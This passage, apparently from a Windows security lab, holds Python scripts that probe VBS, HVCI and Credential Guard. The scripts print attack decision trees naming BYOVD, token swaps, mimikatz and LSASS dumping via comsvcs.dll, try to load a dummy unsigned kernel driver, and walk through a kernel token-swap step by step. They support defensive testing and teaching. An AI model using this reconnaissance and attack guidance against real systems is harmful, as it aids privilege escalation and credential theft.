(\"BTIWindowsSupportEnabled\",       \"BTI Mitigation (Spectre v2)\"),\n            (\"BTIHardwarePresent\",             \"BTI Hardware (IBRS\u002FIBPB)\"),\n            (\"SSBDHardwarePresent\",            \"SSBD (Spectre v4)\"),\n            (\"L1TFWindowsSupportEnabled\",      \"L1TF Mitigation (Foreshadow)\"),\n            (\"MDSWindowsSupportEnabled\",       \"MDS Mitigation (Zombieload)\"),\n        ]\n        for key, name in checks:\n            val = data.get(key, \"N\u002FA\")\n            icon = \"+\" if val == True else \"-\" if val == False else \"?\"\n            print(f\"  [{icon}] {name}: {val}\")\n    except json.JSONDecodeError:\n        print(f\"  [!] Could not parse: {output[:200]}\")\n\ndef exploitation_decision_tree(vbs_data):\n    \"\"\"Based on detected mitigations, show what attack paths remain.\"\"\"\n    print(\"\\n\" + \"=\" * 65)\n    print(\"  EXPLOITATION DECISION TREE\")\n    print(\"=\" * 65)\n\n    vbs_val = vbs_data.get(\"VirtualizationBasedSecurityStatus\", 0)\n    running = vbs_data.get(\"SecurityServicesRunning\", [])\n\n    hvci_on = 2 in (running or [])\n    cg_on   = 1 in (running or [])\n\n    print(\"\\n  Based on detected configuration:\\n\")\n\n    if vbs_val != 2:\n        print(\"  VBS is OFF:\")\n        print(\"    -> Kernel shellcode injection is viable\")\n        print(\"    -> unsigned driver loading is possible\")\n        print(\"    -> LSASS credential dumping works\")\n        print(\"    -> Token manipulation is straightforward\")\n        print(\"    -> Recommended attack: classic kernel exploit + shellcode\")\n    else:\n        print(\"  VBS is ON:\")\n        if hvci_on:\n            print(\"    HVCI ENABLED:\")\n            print(\"      [-] Kernel shellcode -> BLOCKED\")\n            print(\"      [-] Unsigned driver load -> BLOCKED\")\n            print(\"      [+] BYOVD (signed vulnerable driver) -> VIABLE\")\n            print(\"      [+] Data-only attack (token swap) -> VIABLE\")\n            print(\"      [+] Logic bugs in signed code -> VIABLE\")\n        if cg_on:\n            print(\"    CREDENTIAL GUARD ENABLED:\")\n            print(\"      [-] mimikatz logonpasswords -> BLOCKED\")\n            print(\"      [-] NTLM hash extraction -> BLOCKED\")\n            print(\"      [+] Kerberos ticket relay -> VIABLE\")\n            print(\"      [+] Token impersonation -> VIABLE\")\n            print(\"      [+] Phishing for credentials -> VIABLE\")\n\n        if not hvci_on and not cg_on:\n            print(\"    No security services running in VBS\")\n            print(\"    -> VBS infrastructure present but unused\")\n\n    print(\"\\n  Key insight: Modern exploitation is about finding\")\n    print(\"  the GAPS between mitigation layers, not brute-forcing through them.\")\n\ndef main():\n    print(\"=\" * 65)\n    print(\"  VBS \u002F HVCI \u002F Credential Guard Mitigation Probe\")\n    print(\"  Run as Administrator on target Windows machine\")\n    print(\"=\" * 65)\n\n    if os.name != \"nt\":\n        print(\"\\n  [!] This script must be run on Windows.\")\n        print(\"  [*] On Linux\u002FmacOS, use this via:\")\n        print(\"      python -c \\\"from pwn import *; ...\\\"\")\n        print(\"      to probe remote Windows targets via network.\")\n        print(\"\\n  Showing expected output structure for reference...\\n\")\n        # Demo mode with placeholder output\n        print(\"  [+] VBS Status:           Running\")\n        print(\"  [+] HVCI:                 ENABLED\")\n        print(\"  [+] Credential Guard:     Enabled with UEFI lock\")\n        print(\"  [+] Secure Boot:          ENABLED\")\n        print(\"  [-] Speculation (Spectre): Install SpeculationControl module\")\n        return\n\n    vbs_data = check_vbs_status()\n    check_hvci_status()\n    check_credential_guard(vbs_data)\n    check_secure_boot()\n    check_speculation_mitigations()\n    exploitation_decision_tree(vbs_data)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n#### HVCI Driver Load Tester\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nhvci_driver_test.py — Test HVCI enforcement against driver loading attempts\nDemonstrates: How HVCI blocks unsigned kernel code.\n\nThis script:\n  1. Creates a dummy (unsigned) .sys file\n  2. Attempts to register and start it as a kernel service\n  3. Monitors the Code Integrity event log for block events\n  4. Tests a known signed driver (if available) to show BYOVD path\n  5. Reports whether HVCI enforcement is active\n\nRequirements: Run as Administrator on Windows with HVCI capable hardware\nUsage: python hvci_driver_test.py\n\"\"\"\nimport subprocess\nimport os\nimport sys\nimport tempfile\nimport struct\nimport time\n\ndef run_cmd(cmd, shell=True):\n    \"\"\"Run a shell command and return (stdout, returncode).\"\"\"\n    try:\n        result = subprocess.run(\n            cmd, shell=shell, capture_output=True, text=True, timeout=30\n        )\n        return result.stdout.strip(), result.stderr.strip(), result.returncode\n    except Exception as e:\n        return \"\", str(e), -1\n\ndef run_ps(command):\n    \"\"\"Run a PowerShell command.\"\"\"\n    return run_cmd(f'powershell -NoProfile -Command \"{command}\"')\n\ndef create_dummy_driver(path):\n    \"\"\"\n    Create a minimal dummy .sys file (invalid PE but non-zero).\n    This is NOT a real driver — it will fail signature checks.\n    \"\"\"\n    # Minimal DOS header + PE signature (enough for sc to try loading)\n    # MZ header\n    mz_header = b\"MZ\" + b\"\\x00\" * 58 + struct.pack(\"\u003CI\", 64)  # e_lfanew = 64\n    # PE signature\n    pe_sig = b\"PE\\x00\\x00\"\n    # COFF header (x64, 1 section, characteristics = EXECUTABLE | LARGE_ADDRESS_AWARE)\n    coff = struct.pack(\"\u003CHHIIIHH\",\n        0x8664,   # Machine: AMD64\n        1,        # NumberOfSections\n        0,        # TimeDateStamp\n        0,        # PointerToSymbolTable\n        0,        # NumberOfSymbols\n        0xF0,     # SizeOfOptionalHeader\n        0x0022    # Characteristics: EXECUTABLE_IMAGE | LARGE_ADDRESS_AWARE\n    )\n    # Fill the rest with zeros to make it PE-shaped but unsigned\n    padding = b\"\\x00\" * 4096\n\n    with open(path, \"wb\") as f:\n        f.write(mz_header + pe_sig + coff + padding)\n\n    print(f\"  [*] Created dummy driver: {path} ({os.path.getsize(path)} bytes)\")\n\ndef test_unsigned_driver(driver_path):\n    \"\"\"Attempt to load an unsigned driver and observe HVCI response.\"\"\"\n    print(\"\\n\" + \"=\" * 60)\n    print(\"  TEST 1: Unsigned Driver Loading\")\n    print(\"=\" * 60)\n\n    svc_name = \"HVCITestUnsigned\"\n\n    # Clean up any previous test\n    run_cmd(f\"sc delete {svc_name}\")\n    time.sleep(1)\n\n    # Register the service\n    print(f\"  [*] Registering service: {svc_name}\")\n    stdout, stderr, rc = run_cmd(\n        f'sc create {svc_name} type= kernel binPath= \"{driver_path}\"'\n    )\n    print(f\"  [*] sc create: {stdout or stderr} (rc={rc})\")\n\n    if rc != 0:\n        print(f\"  [!] Failed to create service — need Administrator\")\n        return \"ADMIN_REQUIRED\"\n\n    # Attempt to start\n    print(f\"  [*] Attempting to start unsigned driver...\")\n    stdout, stderr, rc = run_cmd(f\"sc start {svc_name}\")\n    print(f\"  [*] sc start: {stdout or stderr} (rc={rc})\")\n\n    # Check Code Integrity event log\n    print(f\"  [*] Checking Code Integrity event log...\")\n    ps_query = (\n        \"Get-WinEvent -LogName 'Microsoft-Windows-CodeIntegrity\u002FOperational' \"\n        \"-MaxEvents 5 2>$null | \"\n        \"Where-Object { $_.Id -in @(3077, 3089) } | \"\n        \"Select-Object TimeCreated, Id, Message | \"\n        \"Format-List\"\n    )\n    log_out, _, _ = run_ps(ps_query)\n    if log_out:\n        print(f\"  [+] HVCI Block Events Found:\")\n        for line in log_out.split(\"\\n\")[:10]:\n            print(f\"      {line}\")\n        result = \"BLOCKED_BY_HVCI\"\n    else:\n        if rc != 0:\n            print(f\"  [~] Driver failed to load (not a valid driver) but no HVCI event\")\n            print(f\"      This means the PE was rejected before HVCI checks\")\n            result = \"REJECTED_PRE_HVCI\"\n        else:\n            print(f\"  [-] Driver loaded! HVCI may not be active\")\n            result = \"LOADED\"\n\n    # Cleanup\n    run_cmd(f\"sc stop {svc_name}\")\n    run_cmd(f\"sc delete {svc_name}\")\n\n    return result\n\ndef check_byovd_blocklist():\n    \"\"\"Check if the Microsoft Vulnerable Driver Blocklist is active.\"\"\"\n    print(\"\\n\" + \"=\" * 60)\n    print(\"  TEST 2: Vulnerable Driver Blocklist Status\")\n    print(\"=\" * 60)\n\n    # Check if blocklist is enabled\n    ps_cmd = (\n        \"try { \"\n        \"$ci = Get-ItemProperty \"\n        \"'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\CI\\\\Config' \"\n        \"-Name 'VulnerableDriverBlocklistEnable' -EA Stop; \"\n        \"Write-Output $ci.VulnerableDriverBlocklistEnable \"\n        \"} catch { Write-Output 'NOT_SET' }\"\n    )\n    output, _, _ = run_ps(ps_cmd)\n\n    if output == \"1\":\n        print(\"  [+] Vulnerable Driver Blocklist: ENABLED\")\n        print(\"  [+] Known BYOVD drivers (Capcom.sys, DBUtil, etc.) are blocked\")\n        print(\"  [*] Full list: https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fwindows\u002F\"\n              \"security\u002Fapplication-security\u002Fapplication-control\u002F\"\n              \"windows-defender-application-control\u002Fdesign\u002F\"\n              \"microsoft-recommended-driver-block-rules\")\n    elif output == \"0\":\n        print(\"  [-] Vulnerable Driver Blocklist: DISABLED\")\n        print(\"  [-] BYOVD attacks with known vulnerable drivers are possible\")\n    else:\n        print(f\"  [?] Blocklist status: {output}\")\n        print(\"  [*] On Windows 11 22H2+, the blocklist is enabled by default\")\n\ndef check_ci_policy():\n    \"\"\"Check Code Integrity policy enforcement level.\"\"\"\n    print(\"\\n\" + \"=\" * 60)\n    print(\"  TEST 3: Code Integrity Policy\")\n    print(\"=\" * 60)\n\n    ps_cmd = (\n        \"Get-CimInstance -ClassName Win32_DeviceGuard \"\n        \"-Namespace root\u002FMicrosoft\u002FWindows\u002FDeviceGuard | \"\n        \"Select-Object -Property \"\n        \"CodeIntegrityPolicyEnforcementStatus, \"\n        \"UsermodeCodeIntegrityPolicyEnforcementStatus | \"\n        \"ConvertTo-Json -Compress\"\n    )\n    output, _, rc = run_ps(ps_cmd)\n\n    if rc == 0 and output:\n        try:\n            import json\n            data = json.loads(output)\n            kernel_ci = data.get(\"CodeIntegrityPolicyEnforcementStatus\", \"N\u002FA\")\n            user_ci = data.get(\"UsermodeCodeIntegrityPolicyEnforcementStatus\", \"N\u002FA\")\n            ci_map = {0: \"Off\", 1: \"Audit\", 2: \"Enforced\"}\n\n            print(f\"  Kernel-mode CI: {ci_map.get(kernel_ci, kernel_ci)}\")\n            print(f\"  User-mode CI:   {ci_map.get(user_ci, user_ci)}\")\n\n            if kernel_ci == 2:\n                print(\"  [+] Kernel CI is ENFORCED (HVCI active)\")\n                print(\"  [+] Only signed kernel code can execute\")\n            elif kernel_ci == 1:\n                print(\"  [~] Kernel CI in AUDIT mode (logs but doesn't block)\")\n            else:\n                print(\"  [-] Kernel CI is OFF\")\n\n        except Exception as e:\n            print(f\"  [!] Parse error: {e}\")\n            print(f\"  [!] Raw output: {output[:200]}\")\n    else:\n        print(\"  [!] Could not query CI policy\")\n\ndef main():\n    print(\"=\" * 60)\n    print(\"  HVCI Driver Loading Enforcement Tester\")\n    print(\"  Must be run as Administrator\")\n    print(\"=\" * 60)\n\n    if os.name != \"nt\":\n        print(\"\\n  [!] This script must be run on Windows.\")\n        print(\"  [*] Expected behavior with HVCI:\")\n        print(\"      - Unsigned .sys -> BLOCKED (Event ID 3077)\")\n        print(\"      - Signed vulnerable .sys -> ALLOWED (BYOVD risk!)\")\n        print(\"      - Blocklisted .sys -> BLOCKED (if blocklist enabled)\")\n        return\n\n    # Create temp directory for test files\n    test_dir = os.path.join(os.environ.get(\"TEMP\", \"C:\\\\Temp\"), \"hvci_test\")\n    os.makedirs(test_dir, exist_ok=True)\n    driver_path = os.path.join(test_dir, \"test_unsigned.sys\")\n\n    try:\n        create_dummy_driver(driver_path)\n        result = test_unsigned_driver(driver_path)\n\n        check_byovd_blocklist()\n        check_ci_policy()\n\n        # Final summary\n        print(\"\\n\" + \"=\" * 60)\n        print(\"  SUMMARY\")\n        print(\"=\" * 60)\n        if result == \"BLOCKED_BY_HVCI\":\n            print(\"  [+] HVCI is ACTIVE — unsigned kernel code is blocked\")\n            print(\"  [+] Attack vector: BYOVD with signed vulnerable drivers\")\n        elif result == \"REJECTED_PRE_HVCI\":\n            print(\"  [~] Driver rejected before HVCI check (invalid PE)\")\n            print(\"  [*] HVCI is likely active (check TEST 3 results above)\")\n            print(\"  [*] Real unsigned drivers would trigger Event ID 3077\")\n        elif result == \"LOADED\":\n            print(\"  [-] Driver was allowed to load — HVCI may not be active\")\n        else:\n            print(f\"  [?] Test result: {result}\")\n\n        print(\"\\n  [*] Note: To definitively test HVCI, use a real unsigned driver\")\n        print(\"  [*] Example: Compile a minimal WDM driver without signing\")\n        print(\"  [*] With HVCI on, you'll see Event ID 3077 in Code Integrity log\")\n\n    finally:\n        # Cleanup\n        try:\n            os.remove(driver_path)\n            os.rmdir(test_dir)\n        except OSError:\n            pass\n\nif __name__ == \"__main__\":\n    main()\n```\n\n#### Kernel Token Attack Simulator\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\ntoken_attack_sim.py — Simulate kernel token swap attack and VBS protection\nDemonstrates: The exact technique used in CVE-2024-21338, CVE-2023-28252.\n\nThis script simulates the attacker's view of a kernel privilege escalation:\n  1. Read current process token info\n  2. Find SYSTEM token (via NtQuerySystemInformation)\n  3. Demonstrate what the kernel read\u002Fwrite primitive would do\n  4. Show how VBS\u002FKDP would block the token overwrite\n\nNOTE: This does NOT actually perform kernel exploitation. It simulates\nthe information gathering and demonstrates protection concepts using\nuser-mode APIs that mirror what kernel exploits do.\n\nUsage: python token_attack_sim.py\n\"\"\"\nimport ctypes\nimport ctypes.wintypes as wt\nimport struct\nimport sys\nimport os\n\nif os.name != \"nt\":\n    print(\"This script runs on Windows only.\")\n    print(\"\\nSimulated output showing attack concept:\\n\")\n    print(\"=\" * 60)\n    print(\"  Kernel Token Swap Attack Simulation\")\n    print(\"=\" * 60)\n    print(\"\"\"\n  Phase 1: Information Gathering\n  ─────────────────────────────\n  Current PID:        12345\n  Current User:       DESKTOP\\\\user\n  Token Type:         Primary\n  Integrity Level:    Medium\n  Privileges:         SeChangeNotifyPrivilege (enabled)\n                      SeIncreaseWorkingSetPrivilege (disabled)\n\n  SYSTEM PID:         4\n  SYSTEM Token:       [requires kernel read primitive]\n\n  Phase 2: Attack Simulation\n  ──────────────────────────\n  Without VBS:\n    1. Use kernel R\u002FW to read SYSTEM EPROCESS at 0xFFFF8001`23456789\n    2. Read SYSTEM Token at EPROCESS+0x4B8: 0xFFFFAB01`DEADBEEF\n    3. Overwrite current EPROCESS+0x4B8 with SYSTEM token\n    4. Result: Current process is now SYSTEM +\n\n  With VBS + KDP (if token is KDP-protected):\n    1. Same kernel R\u002FW primitive\n    2. Read SYSTEM Token: succeeds (VBS allows reads from VTL 0)\n    3. Attempt overwrite: BLOCKED by hypervisor\n    4. Result: BSOD (KDP violation) -\n\n  With VBS but WITHOUT KDP on Token:\n    1. Same kernel R\u002FW primitive\n    2. Read SYSTEM Token: succeeds\n    3. Overwrite current Token: SUCCEEDS (Token not KDP-registered!)\n    4. Result: Current process is SYSTEM +\n    This is exactly what CVE-2024-21338 exploited!\n\"\"\")\n    sys.exit(0)\n\n# ── Windows API Setup ──\nkernel32 = ctypes.WinDLL(\"kernel32\", use_last_error=True)\nadvapi32 = ctypes.WinDLL(\"advapi32\", use_last_error=True)\nntdll    = ctypes.WinDLL(\"ntdll\",    use_last_error=True)\n\n# Constants\nTOKEN_QUERY = 0x0008\nTokenUser = 1\nTokenIntegrityLevel = 25\nTokenPrivileges = 3\nTokenStatistics = 10\nProcessBasicInformation = 0\n\nclass TOKEN_USER(ctypes.Structure):\n    class SID_AND_ATTRIBUTES(ctypes.Structure):\n        _fields_ = [(\"Sid\", ctypes.c_void_p), (\"Attributes\", wt.DWORD)]\n    _fields_ = [(\"User\", SID_AND_ATTRIBUTES)]\n\nclass TOKEN_STATISTICS(ctypes.Structure):\n    _fields_ = [\n        (\"TokenId\", ctypes.c_uint64),\n        (\"AuthenticationId\", ctypes.c_uint64),\n        (\"ExpirationTime\", ctypes.c_int64),\n        (\"TokenType\", ctypes.c_int),\n        (\"ImpersonationLevel\", ctypes.c_int),\n        (\"DynamicCharged\", wt.DWORD),\n        (\"DynamicAvailable\", wt.DWORD),\n        (\"GroupCount\", wt.DWORD),\n        (\"PrivilegeCount\", wt.DWORD),\n        (\"ModifiedId\", ctypes.c_uint64),\n    ]\n\ndef get_current_token_info():\n    \"\"\"Read current process token information.\"\"\"\n    hToken = wt.HANDLE()\n    hProcess = kernel32.GetCurrentProcess()\n\n    if not advapi32.OpenProcessToken(hProcess, TOKEN_QUERY, ctypes.byref(hToken)):\n        err = ctypes.get_last_error()\n        print(f\"  [!] OpenProcessToken failed: {err}\")\n        if err == 5:  # ERROR_ACCESS_DENIED\n            print(f\"  [!] Access denied - try running as Administrator\")\n        return False\n\n    # Get token user (SID -> Username)\n    buf_size = wt.DWORD(0)\n    advapi32.GetTokenInformation(hToken, TokenUser, None, 0, ctypes.byref(buf_size))\n    buf = ctypes.create_string_buffer(buf_size.value)\n    if not advapi32.GetTokenInformation(hToken, TokenUser, buf, buf_size, ctypes.byref(buf_size)):\n        print(f\"  [!] GetTokenInformation failed: {ctypes.get_last_error()}\")\n        kernel32.CloseHandle(hToken)\n        return False\n\n    tu = ctypes.cast(buf, ctypes.POINTER(TOKEN_USER)).contents\n    name_buf = ctypes.create_unicode_buffer(256)\n    domain_buf = ctypes.create_unicode_buffer(256)\n    name_size = wt.DWORD(256)\n    domain_size = wt.DWORD(256)\n    sid_use = wt.DWORD(0)\n\n    if advapi32.LookupAccountSidW(\n        None, tu.User.Sid,\n        name_buf, ctypes.byref(name_size),\n        domain_buf, ctypes.byref(domain_size),\n        ctypes.byref(sid_use)\n    ):\n        print(f\"  Current User:     {domain_buf.value}\\\\{name_buf.value}\")\n    else:\n        print(f\"  Current User:     [Could not resolve SID]\")\n\n    # Get token statistics\n    stats = TOKEN_STATISTICS()\n    ret_len = wt.DWORD(0)\n    if advapi32.GetTokenInformation(\n        hToken, TokenStatistics,\n        ctypes.byref(stats), ctypes.sizeof(stats), ctypes.byref(ret_len)\n    ):\n        token_type = \"Primary\" if stats.TokenType == 1 else \"Impersonation\"\n        print(f\"  Token Type:       {token_type}\")\n        print(f\"  Token ID:         0x{stats.TokenId:016X}\")\n        print(f\"  Auth ID:          0x{stats.AuthenticationId:016X}\")\n        print(f\"  Privilege Count:  {stats.PrivilegeCount}\")\n\n    # Get integrity level\n    buf_size = wt.DWORD(0)\n    advapi32.GetTokenInformation(hToken, TokenIntegrityLevel, None, 0, ctypes.byref(buf_size))\n    buf = ctypes.create_string_buffer(buf_size.value)\n    if advapi32.GetTokenInformation(hToken, TokenIntegrityLevel, buf, buf_size, ctypes.byref(buf_size)):\n        # Parse the integrity SID\n        sid_ptr = ctypes.cast(buf, ctypes.POINTER(ctypes.c_void_p)).contents\n        sub_auth_count = ctypes.cast(sid_ptr, ctypes.POINTER(ctypes.c_ubyte))[1]\n        if sub_auth_count > 0:\n            # Last sub-authority contains the integrity level RID\n            rid_offset = 8 + (sub_auth_count - 1) * 4\n            rid = struct.unpack_from(\"\u003CI\", ctypes.string_at(sid_ptr, rid_offset + 4), rid_offset)[0]\n            level_map = {\n                0x0000: \"Untrusted\", 0x1000: \"Low\",\n                0x2000: \"Medium\",    0x3000: \"High\",\n                0x4000: \"System\"\n            }\n            level = level_map.get(rid, f\"Custom (0x{rid:04X})\")\n            print(f\"  Integrity Level:  {level}\")\n\n    kernel32.CloseHandle(hToken)\n    return True\n\ndef simulate_token_attack():\n    \"\"\"Simulate what a kernel exploit would do for token swap.\"\"\"\n    print(\"\\n  Phase 2: Kernel Token Swap Simulation\")\n    print(\"  \" + \"-\" * 50)\n    print(\"\\n  What a kernel exploit (e.g., CVE-2024-21338) does:\")\n    print()\n\n    pid = kernel32.GetCurrentProcessId()\n    print(f\"  1. Current PID: {pid}\")\n    print(f\"     -> Kernel: PsLookupProcessByProcessId({pid})\")\n    print(f\"     -> Returns EPROCESS pointer (e.g., 0xFFFF8001`AABBCCDD)\")\n    print()\n    print(f\"  2. SYSTEM PID: 4\")\n    print(f\"     -> Kernel: PsLookupProcessByProcessId(4)\")\n    print(f\"     -> Returns SYSTEM EPROCESS (e.g., 0xFFFF8001`12345678)\")\n    print()\n    print(f\"  3. Token offset in EPROCESS (Windows 11 22H2+): +0x4B8\")\n    print(f\"     -> Read SYSTEM EPROCESS+0x4B8 = SYSTEM Token\")\n    print(f\"     -> Token value contains RefCnt in low 4 bits\")\n    print()\n    print(f\"  4. Token swap:\")\n    print(f\"     -> Write SYSTEM Token -> current EPROCESS+0x4B8\")\n    print(f\"     -> Current process now has SYSTEM privileges!\")\n    print()\n    print(f\"  5. Spawn elevated cmd.exe\")\n    print(f\"     -> CreateProcess('cmd.exe') inherits SYSTEM token\")\n\n    print(\"\\n  Protection Analysis:\")\n    print(\"  \" + \"-\" * 50)\n    print(\"  VBS OFF:  Token swap SUCCEEDS (no protection)\")\n    print(\"  HVCI ON:  Token swap SUCCEEDS (HVCI protects CODE, not DATA)\")\n    print(\"  KDP ON:   Token swap FAILS *only if Token is KDP-registered*\")\n    print()\n    print(\"  REALITY: EPROCESS.Token is NOT KDP-protected in current Windows\")\n    print(\"  This is why CVE-2024-21338 worked even with VBS+HVCI enabled!\")\n\ndef check_vbs_impact():\n    \"\"\"Check if VBS would block this attack on the current system.\"\"\"\n    print(\"\\n  Phase 3: Protection Check\")\n    print(\"  \" + \"-\" * 50)\n\n    import subprocess\n    query = (\n        \"Get-CimInstance -ClassName Win32_DeviceGuard \"\n        \"-Namespace root\u002FMicrosoft\u002FWindows\u002FDeviceGuard | \"\n        \"Select-Object VirtualizationBasedSecurityStatus, \"\n        \"SecurityServicesRunning | ConvertTo-Json\"\n    )\n    try:\n        result = subprocess.run(\n            [\"powershell\", \"-NoProfile\", \"-Command\", query],\n            capture_output=True, text=True, timeout=15\n        )\n        import json\n        data = json.loads(result.stdout)\n        vbs = data.get(\"VirtualizationBasedSecurityStatus\", 0)\n        running = data.get(\"SecurityServicesRunning\", [])\n        hvci = 2 in (running or [])\n\n        print(f\"  VBS Status:  {'Running' if vbs == 2 else 'Not running'}\")\n        print(f\"  HVCI:        {'Enabled' if hvci else 'Disabled'}\")\n        print()\n\n        if vbs == 2 and hvci:\n            print(\"  [!] VBS+HVCI active, BUT:\")\n            print(\"      Token swap attack STILL WORKS!\")\n            print(\"      EPROCESS.Token is not KDP-protected.\")\n            print(\"      Only data-only attack prevention (future KDP) would stop this.\")\n        else:\n            print(\"  [-] VBS\u002FHVCI not fully active\")\n            print(\"      Kernel shellcode AND token swap attacks are both viable\")\n    except Exception:\n        print(\"  [!] Could not query VBS status\")\n\ndef main():\n    print(\"=\" * 60)\n    print(\"  Kernel Token Swap Attack Simulation\")\n    print(\"  (Educational — does NOT perform actual kernel exploitation)\")\n    print(\"=\" * 60)\n\n    print(\"\\n  Phase 1: Information Gathering\")\n    print(\"  \" + \"-\" * 50)\n    print(f\"  Current PID:      {kernel32.GetCurrentProcessId()}\")\n\n    # Try to get token info, but continue even if it fails\n    token_success = get_current_token_info()\n    if not token_success:\n        print(\"\\n  [*] Continuing with simulation (token info not critical)...\")\n\n    simulate_token_attack()\n    check_vbs_impact()\n\n    print(\"\\n\" + \"=\" * 60)\n    print(\"  Lab Exercise: Compare this output with\u002Fwithout VBS\")\n    print(\"  1. Run with VBS disabled -> note that attack is trivially viable\")\n    print(\"  2. Enable VBS+HVCI -> note attack is STILL viable (data-only)\")\n    print(\"  3. This proves: HVCI protects code integrity, NOT data integrity\")\n    print(\"\\n  Note: For full token details, run as Administrator\")\n    print(\"=\" * 60)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n#### Remote Credential Guard Verifier\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\ncred_guard_verifier.py — Remotely verify Credential Guard enforcement\nDemonstrates: How Credential Guard blocks credential extraction.\n\nThis script connects to a remote Windows host via WinRM\u002FSMB and\nattempts to enumerate credential protection. Useful for red team\nreconnaissance to determine if mimikatz-style attacks will work.\n\nFor local testing, it probes LSASS protection status.\n\nUsage:\n  # Local check\n  python cred_guard_verifier.py\n\n  # Remote check (requires credentials)\n  python cred_guard_verifier.py --target 192.168.1.100 --user admin --pass P@ssw0rd\n\"\"\"\nimport subprocess\nimport sys\nimport os\nimport argparse\n\ndef local_check():\n    \"\"\"Check Credential Guard status on the local machine.\"\"\"\n    print(\"\\n\" + \"=\" * 60)\n    print(\"  Local Credential Guard Analysis\")\n    print(\"=\" * 60)\n\n    checks = [\n        {\n            \"name\": \"Credential Guard Registry\",\n            \"cmd\": (\n                \"try { $v = (Get-ItemProperty \"\n                \"'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa' \"\n                \"-Name LsaCfgFlags -EA Stop).LsaCfgFlags; \"\n                \"if ($v -ge 1) { 'ENABLED' } else { 'DISABLED' } \"\n                \"} catch { 'NOT_CONFIGURED' }\"\n            ),\n        },\n        {\n            \"name\": \"LSASS Protection (RunAsPPL)\",\n            \"cmd\": (\n                \"try { $v = (Get-ItemProperty \"\n                \"'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa' \"\n                \"-Name RunAsPPL -EA Stop).RunAsPPL; \"\n                \"if ($v -ge 1) { 'ENABLED (value=' + $v + ')' } else { 'DISABLED' } \"\n                \"} catch { 'NOT_CONFIGURED' }\"\n            ),\n        },\n        {\n            \"name\": \"VBS Security Services\",\n            \"cmd\": (\n                \"(Get-CimInstance -ClassName Win32_DeviceGuard \"\n                \"-Namespace root\u002FMicrosoft\u002FWindows\u002FDeviceGuard).\"\n                \"SecurityServicesRunning -join ','\"\n            ),\n        },\n        {\n            \"name\": \"LSASS Process Protection\",\n            \"cmd\": (\n                \"$lsass = Get-Process lsass -EA SilentlyContinue; \"\n                \"if ($lsass) { \"\n                \"'PID=' + $lsass.Id + ' Handles=' + $lsass.HandleCount \"\n                \"} else { 'Cannot access LSASS (good — it is protected)' }\"\n            ),\n        },\n        {\n            \"name\": \"WDigest Credential Caching\",\n            \"cmd\": (\n                \"try { $v = (Get-ItemProperty \"\n                \"'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SecurityProviders\\\\WDigest' \"\n                \"-Name UseLogonCredential -EA Stop).UseLogonCredential; \"\n                \"if ($v -eq 1) { 'ENABLED (cleartext creds in memory!)' } \"\n                \"else { 'DISABLED (good)' } \"\n                \"} catch { 'NOT_SET (default: disabled on Win10+)' }\"\n            ),\n        },\n    ]\n\n    results = []\n    for check in checks:\n        try:\n            result = subprocess.run(\n                [\"powershell\", \"-NoProfile\", \"-Command\", check[\"cmd\"]],\n                capture_output=True, text=True, timeout=15\n            )\n            output = result.stdout.strip()\n        except Exception as e:\n            output = f\"Error: {e}\"\n\n        # Better icon logic\n        if \"Credential Guard\" in check[\"name\"]:\n            icon = \"+\" if \"ENABLED\" in output else \"-\"\n        elif \"RunAsPPL\" in check[\"name\"]:\n            icon = \"+\" if \"ENABLED\" in output else \"-\"\n        elif \"Cannot access\" in output or \"DISABLED (good)\" in output or \"NOT_SET (default\" in output:\n            icon = \"+\"\n        else:\n            icon = \"?\"\n\n        print(f\"  [{icon}] {check['name']}: {output}\")\n        results.append((check[\"name\"], output))\n\n    # Exploitation impact summary\n    print(\"\\n  Credential Extraction Impact:\")\n    print(\"  \" + \"-\" * 50)\n\n    # Check if Credential Guard is ACTUALLY running (not just configured)\n    vbs_services = next((r[1] for r in results if \"VBS Security Services\" in r[0]), \"\")\n    cg_running = \"1\" in vbs_services.split(\",\")\n    ppl_enabled = any(\"ENABLED\" in r[1] for r in results if \"RunAsPPL\" in r[0])\n\n    print(f\"\\n  Analysis:\")\n    print(f\"    Credential Guard actually running: {'YES' if cg_running else 'NO'}\")\n    print(f\"    LSASS RunAsPPL protection: {'YES' if ppl_enabled else 'NO'}\")\n    print(f\"    VBS Services active: {vbs_services}\")\n    print()\n\n    attacks = [\n        (\"mimikatz sekurlsa::logonpasswords\",\n         \"BLOCKED\" if cg_running else \"VIABLE (CG not running)\" if ppl_enabled else \"VIABLE\"),\n        (\"mimikatz sekurlsa::wdigest\",\n         \"BLOCKED\" if cg_running else \"VIABLE\"),\n        (\"LSASS process dump (comsvcs.dll)\",\n         \"BLOCKED\" if ppl_enabled else \"VIABLE\"),\n        (\"LSASS memory read (procdump)\",\n         \"BLOCKED\" if ppl_enabled else \"VIABLE\"),\n        (\"Kerberos ticket extraction\",\n         \"BLOCKED\" if cg_running else \"VIABLE\"),\n        (\"Pass-the-Hash\",\n         \"BLOCKED\" if cg_running else \"VIABLE\"),\n        (\"Kerberos delegation abuse\",\n         \"VIABLE (not blocked by CG)\"),\n        (\"Token impersonation\",\n         \"VIABLE (not blocked by CG)\"),\n    ]\n\n    for attack, status in attacks:\n        icon = \"-\" if \"BLOCKED\" in status else \"+\"\n        print(f\"    [{icon}] {attack}: {status}\")\n\ndef remote_check(target, username, password):\n    \"\"\"Check Credential Guard on a remote host via WinRM.\"\"\"\n    print(f\"\\n  Remote check for {target} (via WinRM)...\")\n    print(\"  [*] Using Invoke-Command over WinRM\")\n\n    ps_script = (\n        f\"$cred = New-Object PSCredential(\"\n        f\"'{username}', (ConvertTo-SecureString '{password}' -AsPlainText -Force)); \"\n        f\"Invoke-Command -ComputerName {target} -Credential $cred -ScriptBlock {{ \"\n        f\"(Get-CimInstance -ClassName Win32_DeviceGuard \"\n        f\"-Namespace root\u002FMicrosoft\u002FWindows\u002FDeviceGuard).\"\n        f\"SecurityServicesRunning -join ',' }}\"\n    )\n\n    try:\n        result = subprocess.run(\n    